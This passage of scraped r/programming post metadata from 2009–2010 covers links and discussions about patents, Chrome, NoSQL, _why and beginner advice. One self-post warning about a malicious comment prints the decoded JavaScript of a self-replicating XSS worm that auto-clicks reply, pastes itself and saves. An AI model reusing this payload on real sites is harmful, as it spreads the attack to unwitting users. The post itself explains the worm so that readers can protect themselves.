  "title": "\"The idea that I can be presented with a problem, set out to logically solve it with the tools at hand, and wind up with a program that could not be legally used because someone else followed the same logical steps some years ago and filed for a patent on it is horrifying.\" John Carmack",
  "body": null,
  "author": "ipeev",
  "subreddit": "programming",
  "score": 3450,
  "upvoteRatio": 0.97,
  "numComments": 856,
  "createdAt": "2010-04-06T11:32:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/bn2wi/the_idea_that_i_can_be_presented_with_a_problem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bjgzo",
  "url": "http://m3mnoch.tumblr.com/post/480290758/not-everyone-using-nosql-is-a-rails-lovin-ass-clown",
  "permalink": "https://www.reddit.com/r/programming/comments/bjgzo/not_everyone_using_nosql_is_a_railslovin_assclown/",
  "title": "Not Everyone Using noSQL is a Rails-Lovin’ Ass-Clown",
  "body": null,
  "author": "servercentric",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.53,
  "numComments": 100,
  "createdAt": "2010-03-29T01:01:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://m3mnoch.tumblr.com/post/480290758/not-everyone-using-nosql-is-a-rails-lovin-ass-clown",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bdtdu",
  "url": "http://www.skorks.com/2010/03/the-difference-between-a-developer-a-programmer-and-a-computer-scientist/",
  "permalink": "https://www.reddit.com/r/programming/comments/bdtdu/the_difference_between_a_developer_a_programmer/",
  "title": "The Difference Between A Developer, A Programmer And A Computer Scientist",
  "body": null,
  "author": "servercentric",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 47,
  "createdAt": "2010-03-15T23:56:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.skorks.com/2010/03/the-difference-between-a-developer-a-programmer-and-a-computer-scientist/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bdcur",
  "url": "http://xahlee.org/comp/unix_pipes_and_functional_lang.html",
  "permalink": "https://www.reddit.com/r/programming/comments/bdcur/unix_pipe_as_functional_language/",
  "title": "Unix Pipe As Functional Language",
  "body": null,
  "author": "nohtyp",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 22,
  "createdAt": "2010-03-14T22:38:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xahlee.org/comp/unix_pipes_and_functional_lang.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bcomy",
  "url": "http://imgur.com/9KnkV.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/bcomy/your_mother_is_so_fat_pic/",
  "title": "Your Mother is so Fat [PIC]",
  "body": null,
  "author": "redditkid",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 46,
  "createdAt": "2010-03-12T20:35:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://imgur.com/9KnkV.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bag89",
  "url": "http://i.imgur.com/Q9Blt.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/bag89/so_a_group_of_perl_programmers_go_hunting/",
  "title": "So a group of Perl programmers go hunting...",
  "body": null,
  "author": "sli",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 20,
  "createdAt": "2010-03-08T00:40:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i.imgur.com/Q9Blt.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_b0p09",
  "url": "http://imgur.com/rEh5t.png",
  "permalink": "https://www.reddit.com/r/programming/comments/b0p09/a_reddit_clone_in_two_seconds_and_4_keystrokes/",
  "title": "A Reddit clone in two seconds and 4 keystrokes",
  "body": null,
  "author": "majorwtf",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 33,
  "createdAt": "2010-02-11T06:18:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://imgur.com/rEh5t.png",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_azd5i",
  "url": "http://www.indigorenderer.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/azd5i/3d_render_too_good_to_be_true/",
  "title": "3d render too good to be true.",
  "body": null,
  "author": "Mirage08",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.53,
  "numComments": 75,
  "createdAt": "2010-02-08T07:31:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.indigorenderer.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_awp4g",
  "url": "http://www.pcmag.com/article2/0,2817,2358592,00.asp",
  "permalink": "https://www.reddit.com/r/programming/comments/awp4g/the_best_extensions_so_far_on_google_chrome_40/",
  "title": "The best extensions so far on Google Chrome 4.0",
  "body": null,
  "author": "adeelLXXXII",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 56,
  "createdAt": "2010-02-01T15:01:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.pcmag.com/article2/0,2817,2358592,00.asp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aouv5",
  "url": "http://googleblog.blogspot.com/2010/01/new-approach-to-china.html",
  "permalink": "https://www.reddit.com/r/programming/comments/aouv5/new_approach_to_china/",
  "title": "New approach to China",
  "body": null,
  "author": "peod",
  "subreddit": "programming",
  "score": 4093,
  "upvoteRatio": 0.97,
  "numComments": 823,
  "createdAt": "2010-01-12T23:14:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://googleblog.blogspot.com/2010/01/new-approach-to-china.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aobsa",
  "url": "http://www.barbie.com/vote/",
  "permalink": "https://www.reddit.com/r/programming/comments/aobsa/vote_for_barbie_to_be_a_computer_engineer/",
  "title": "Vote for Barbie to be a computer engineer!",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3142,
  "upvoteRatio": 0.93,
  "numComments": 759,
  "createdAt": "2010-01-11T19:39:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.barbie.com/vote/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_admgt",
  "url": "http://www.thedailywtf.com/?1",
  "permalink": "https://www.reddit.com/r/programming/comments/admgt/the_real_wtf_is_that_alex_forgot_to_renew_his/",
  "title": "The real WTF is that Alex forgot to renew his domain...",
  "body": null,
  "author": "shaunc",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 37,
  "createdAt": "2009-12-11T16:02:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.thedailywtf.com/?1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_acfws",
  "url": "http://www.google.com/chrome?platform=mac&hl=en",
  "permalink": "https://www.reddit.com/r/programming/comments/acfws/google_chrome_for_mac_released/",
  "title": "Google Chrome for Mac released!",
  "body": null,
  "author": "jefede",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.52,
  "numComments": 72,
  "createdAt": "2009-12-08T17:05:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.google.com/chrome?platform=mac&hl=en",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_acd8o",
  "url": "http://www.cyber-junkie.com/tools/WindowsRunCommands.shtml",
  "permalink": "https://www.reddit.com/r/programming/comments/acd8o/windows_run_commands_a_handy_list_to_have_around/",
  "title": "Windows Run Commands, a handy list to have around",
  "body": null,
  "author": "BritishEnglishPolice",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 21,
  "createdAt": "2009-12-08T13:27:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.cyber-junkie.com/tools/WindowsRunCommands.shtml",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_abein",
  "url": "http://www.taranfx.com/blog/spyphone-app-steals-personal-data-from-all-iphones",
  "permalink": "https://www.reddit.com/r/programming/comments/abein/developer_creates_a_new_app_called_spyphone_that/",
  "title": "Developer creates a new app called spyphone that steals all the personal data from the iphone using nothing but the native apple sdk. Jailbroken and virgin iphone impacted equally.",
  "body": null,
  "author": "firuntphone",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 57,
  "createdAt": "2009-12-05T13:46:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.taranfx.com/blog/spyphone-app-steals-personal-data-from-all-iphones",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a8pnj",
  "url": "http://www.taranfx.com/blog/google-app-engine-vs-windows-azure",
  "permalink": "https://www.reddit.com/r/programming/comments/a8pnj/google_app_engine_vs_microsoft_azure_as/",
  "title": "Google app engine vs. microsoft azure as development platform, back to back comparing features, language options, flexibility, ease of migration and more",
  "body": null,
  "author": "taranzone",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 69,
  "createdAt": "2009-11-27T15:17:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.taranfx.com/blog/google-app-engine-vs-windows-azure",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a79tb",
  "url": "http://www.computerweekly.com/Articles/2009/11/23/239414/Google-Chrome-OS-A-threat-to-Windows-7.htm",
  "permalink": "https://www.reddit.com/r/programming/comments/a79tb/google_chrome_os_a_threat_to_windows_7_yeah_right/",
  "title": "Google Chrome OS: A threat to Windows 7? (yeah, right, like my nan is a threat to Mike Tyson)",
  "body": null,
  "author": "acheybreakyheart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 122,
  "createdAt": "2009-11-23T13:48:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.computerweekly.com/Articles/2009/11/23/239414/Google-Chrome-OS-A-threat-to-Windows-7.htm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a5z45",
  "url": "http://thedailyt.com/2009/11/one-more-internet-explorer-to-worry-about/",
  "permalink": "https://www.reddit.com/r/programming/comments/a5z45/one_more_internet_explorer_to_worry_about/",
  "title": "One more Internet Explorer to worry about",
  "body": null,
  "author": "terje_t",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 70,
  "createdAt": "2009-11-19T09:29:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://thedailyt.com/2009/11/one-more-internet-explorer-to-worry-about/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a56u2",
  "url": "http://blog.alieniloquent.com/2009/08/20/cargo-cult-on-rails/",
  "permalink": "https://www.reddit.com/r/programming/comments/a56u2/cargo_cult_on_rails/",
  "title": "Cargo Cult on Rails",
  "body": null,
  "author": "uriel",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 59,
  "createdAt": "2009-11-17T08:58:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.alieniloquent.com/2009/08/20/cargo-cult-on-rails/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a1lfj",
  "url": "https://www.reddit.com/r/programming/comments/a1lfj/rprogramming_is_there_any_way_i_could_ever_be_a/",
  "permalink": "https://www.reddit.com/r/programming/comments/a1lfj/rprogramming_is_there_any_way_i_could_ever_be_a/",
  "title": "/r/programming, is there any way I could ever be a successful programmer?",
  "body": "I have always had horrible compensation, my parents told me that I was in special-ed for a while because of my comp (which I don't remember). I'm just now starting to enjoy reading, and I'm studying for my GED test now (actually taking notes and understanding concepts which feels good, I'm proud of myself for actually getting educated). I also had ADHD, and if the disorder is fake then I was an **extremely** active kid. I could never sit still or keep the same thought. My memory still isn't very good, but it's fine if I study something 2-4 times until I have it down. I imagine this would work the same way for functions. From age 13ish-16ish I was homeschooled and would sit on the computer all day programming/'hacking', learning new stuff all the time. When I say programming, I mean that I started in vb6 modifying the IFace of programs and sending them to my friends, but soon I wanted to change/add different functions and started studying the code closer. After about a year I had a lot of stuff down pat and I was making my own intermediate programs from scratch and heavily modifying. I can quickly adapt to new things, it's just keeping my memory fresh that's the problem. I'm also bi-polar (if it matters) which definitely helps my creativity for new programs/ideas.\n\nA knowledgeable programming friend of mine told me that I should try C#, is this the language that you would recommend? If not, what language? Also, any book recommendations for simple or step-by-step books for beginners?\n\nThanks,\n0x00 2b",
  "author": "0x002b",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 37,
  "createdAt": "2009-11-06T11:44:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/a1lfj/rprogramming_is_there_any_way_i_could_ever_be_a/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9zhhu",
  "url": "http://www.electronista.com/articles/09/10/30/nvidia.fermi.details.escape/",
  "permalink": "https://www.reddit.com/r/programming/comments/9zhhu/lifelike_screenshots_produced_by_nvidia_fermi/",
  "title": "Lifelike screenshots produced by nVidia Fermi",
  "body": null,
  "author": "agottem",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.53,
  "numComments": 58,
  "createdAt": "2009-10-30T20:29:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.electronista.com/articles/09/10/30/nvidia.fermi.details.escape/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9yab0",
  "url": "http://blog.reddit.com/2009/10/fare-thee-well-reddit.html",
  "permalink": "https://www.reddit.com/r/programming/comments/9yab0/alexis_and_steve_are_leaving_reddit/",
  "title": "Alexis and Steve are leaving Reddit",
  "body": null,
  "author": "mhenke",
  "subreddit": "programming",
  "score": 147,
  "upvoteRatio": 0.59,
  "numComments": 142,
  "createdAt": "2009-10-27T16:03:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.reddit.com/2009/10/fare-thee-well-reddit.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9y8jc",
  "url": "http://imgur.com/7tO4h",
  "permalink": "https://www.reddit.com/r/programming/comments/9y8jc/all_of_the_dungeons_in_legend_of_zelda_were/",
  "title": "All of the Dungeons in Legend of Zelda were actually one map",
  "body": null,
  "author": "GSto",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.52,
  "numComments": 7,
  "createdAt": "2009-10-27T13:36:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://imgur.com/7tO4h",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9wyqc",
  "url": "http://blog.openinternet.gov",
  "permalink": "https://www.reddit.com/r/programming/comments/9wyqc/the_republican_spin_machine_is_hard_at_work/",
  "title": "The republican spin machine is hard at work trying to stop net neutrality. Almost all the comments on the FCC citizen feedback site are AGAINST net neutrality ... let's fix this!",
  "body": null,
  "author": "ZuchinniOne",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.54,
  "numComments": 66,
  "createdAt": "2009-10-23T09:46:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.openinternet.gov",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9vdhy",
  "url": "http://news.bbc.co.uk/2/hi/business/8310867.stm",
  "permalink": "https://www.reddit.com/r/programming/comments/9vdhy/why_microsoft_cant_afford_windows_7_to_fail_bbc/",
  "title": "Why Microsoft can't afford Windows 7 to fail [BBC]",
  "body": null,
  "author": "tangovic",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 71,
  "createdAt": "2009-10-19T03:01:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://news.bbc.co.uk/2/hi/business/8310867.stm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9t0sw",
  "url": "http://jakob.engbloms.se/archives/953?owa_from=feed&owa_sid=",
  "permalink": "https://www.reddit.com/r/programming/comments/9t0sw/joel_spolsky_you_cannot_program_parallel_in_c/",
  "title": "Joel Spolsky: You cannot program parallel in C, period",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 142,
  "createdAt": "2009-10-11T19:54:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://jakob.engbloms.se/archives/953?owa_from=feed&owa_sid=",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9r0zv",
  "url": "http://news.bbc.co.uk/2/hi/technology/8291268.stm",
  "permalink": "https://www.reddit.com/r/programming/comments/9r0zv/hotmail_hacked_and_user_info_posted_online/",
  "title": "Hotmail hacked and user info posted online.",
  "body": null,
  "author": "mrxyz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 22,
  "createdAt": "2009-10-05T16:32:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://news.bbc.co.uk/2/hi/technology/8291268.stm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9owwb",
  "url": "http://techgeist.net/2009/09/google-hurt-lot/",
  "permalink": "https://www.reddit.com/r/programming/comments/9owwb/google_doesnt_believe_in_open_source_it_uses_it/",
  "title": "Google doesn't believe in open source. It uses it as a marketing tool but when push comes to shove is as proprietary as they come.",
  "body": null,
  "author": "robertgentel",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 45,
  "createdAt": "2009-09-28T20:28:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://techgeist.net/2009/09/google-hurt-lot/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9oobq",
  "url": "https://www.reddit.com/r/programming/comments/9oobq/someone_put_a_malicious_java_script_comment_on_at/",
  "permalink": "https://www.reddit.com/r/programming/comments/9oobq/someone_put_a_malicious_java_script_comment_on_at/",
  "title": "Someone put a malicious Java Script comment on at least one submission, soo annoying. Until reddit fixes this you should use 'No Script'.",
  "body": "If any of you are on the reddit dev team please help.\n\nThis is the one that got me.\nDON'T CLICK UNLESS YOU HAVE JAVA SCRIPT DISABLED.\nhttp://www.reddit.com/r/videos/comments/9okjx/they_have_lindy_hop_competitions_i_didnt_even\n\nIt is essentially url encoded javascript.\nThis is the decoded version:\n    z=\"[x][b]\\n[b]:/[\"+this.innerHTML+\"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)\";o=document;e=o.getElementsByTagName('a');for(i=0;i<e.length;i++)if (e[i].innerHTML=='reply')$(e[i]).click();o=document;e=o.getElementsByTagName('textarea');for(i=0;i<e.length;i++)e[i].value=z;e=o.getElementsByTagName('button');for(i=0;i<e.length;i++)if (e[i].innerHTML=='save'&&e[i].style.display!='none')$(e[i]).click();\">x\n",
  "author": "cowholio4",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.52,
  "numComments": 51,
  "createdAt": "2009-09-28T03:02:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/9oobq/someone_put_a_malicious_java_script_comment_on_at/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9oil0",
  "url": "http://blogs.msdn.com/lucabol/archive/2009/09/22/becoming-really-rich-with-c.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/9oil0/becoming_really_rich_with_c/",
  "title": "Becoming really rich with C#",
  "body": null,
  "author": "gosub",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 21,
  "createdAt": "2009-09-27T11:15:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.msdn.com/lucabol/archive/2009/09/22/becoming-really-rich-with-c.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9lwy4",
  "url": "http://teddziuba.com/2009/09/twisted-vs-tornado-youre-both.html",
  "permalink": "https://www.reddit.com/r/programming/comments/9lwy4/twisted_vs_tornado_youre_both_idiots/",
  "title": "Twisted vs. Tornado: You're Both Idiots",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 24,
  "createdAt": "2009-09-18T17:39:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://teddziuba.com/2009/09/twisted-vs-tornado-youre-both.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9krui",
  "url": "http://store.xkcd.com/xkcd/#xkcdvolume0",
  "permalink": "https://www.reddit.com/r/programming/comments/9krui/the_xkcd_book_is_here_get_it_while_its_hot/",
  "title": "The XKCD book is here - get it while it's hot.",
  "body": null,
  "author": "madssj",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 18,
  "createdAt": "2009-09-15T14:14:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://store.xkcd.com/xkcd/#xkcdvolume0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9fptf",
  "url": "http://www.sics.se/~adam/twip.html",
  "permalink": "https://www.reddit.com/r/programming/comments/9fptf/twip_is_a_really_really_tiny_ip_stack_written_in/",
  "title": "twIP is a really, really tiny IP stack, written in 128 bytes of C code - small enough to fit in a Twitter message.",
  "body": null,
  "author": "masta",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 39,
  "createdAt": "2009-08-31T03:47:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.sics.se/~adam/twip.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9cm5j",
  "url": "https://www.reddit.com/r/programming/comments/9cm5j/am_i_the_only_one_who_doesnt_give_a_shit_about_a/",
  "permalink": "https://www.reddit.com/r/programming/comments/9cm5j/am_i_the_only_one_who_doesnt_give_a_shit_about_a/",
  "title": "Am I the only one who doesn't give a shit about a persona named _why?",
  "body": "You would think Michael Jackson just died for a second time.  And no, get over yourselves about his \"real name\" being revealed.  He's not exactly a democratic activist in China.  I'm pretty sure he'll be ok.\n\nAm I the only person who is creeped out by the whole response to this?",
  "author": "jayc",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.52,
  "numComments": 128,
  "createdAt": "2009-08-21T00:12:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/9cm5j/am_i_the_only_one_who_doesnt_give_a_shit_about_a/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9cjcv",
  "url": "http://zedshaw.com/blog/2009-08-19.html",
  "permalink": "https://www.reddit.com/r/programming/comments/9cjcv/zed_shaw_on_the_disappearance_of_why/",
  "title": "Zed Shaw on the disappearance of _why",
  "body": null,
  "author": "pivotal",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.52,
  "numComments": 114,
  "createdAt": "2009-08-20T18:43:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://zedshaw.com/blog/2009-08-19.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9c88x",
  "url": "http://github.com/whymirror",
  "permalink": "https://www.reddit.com/r/programming/comments/9c88x/mirror_of_whys_code_on_github/",
  "title": "Mirror of _why's code on GitHub",
  "body": null,
  "author": "ramen",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.53,
  "numComments": 9,
  "createdAt": "2009-08-19T21:51:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://github.com/whymirror",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9c7dt",
  "url": "http://groups.google.com/group/comp.os.linux.advocacy/msg/c0085df999644a65",
  "permalink": "https://www.reddit.com/r/programming/comments/9c7dt/c_fails_very_badly_at_popularity_in_the_free/",
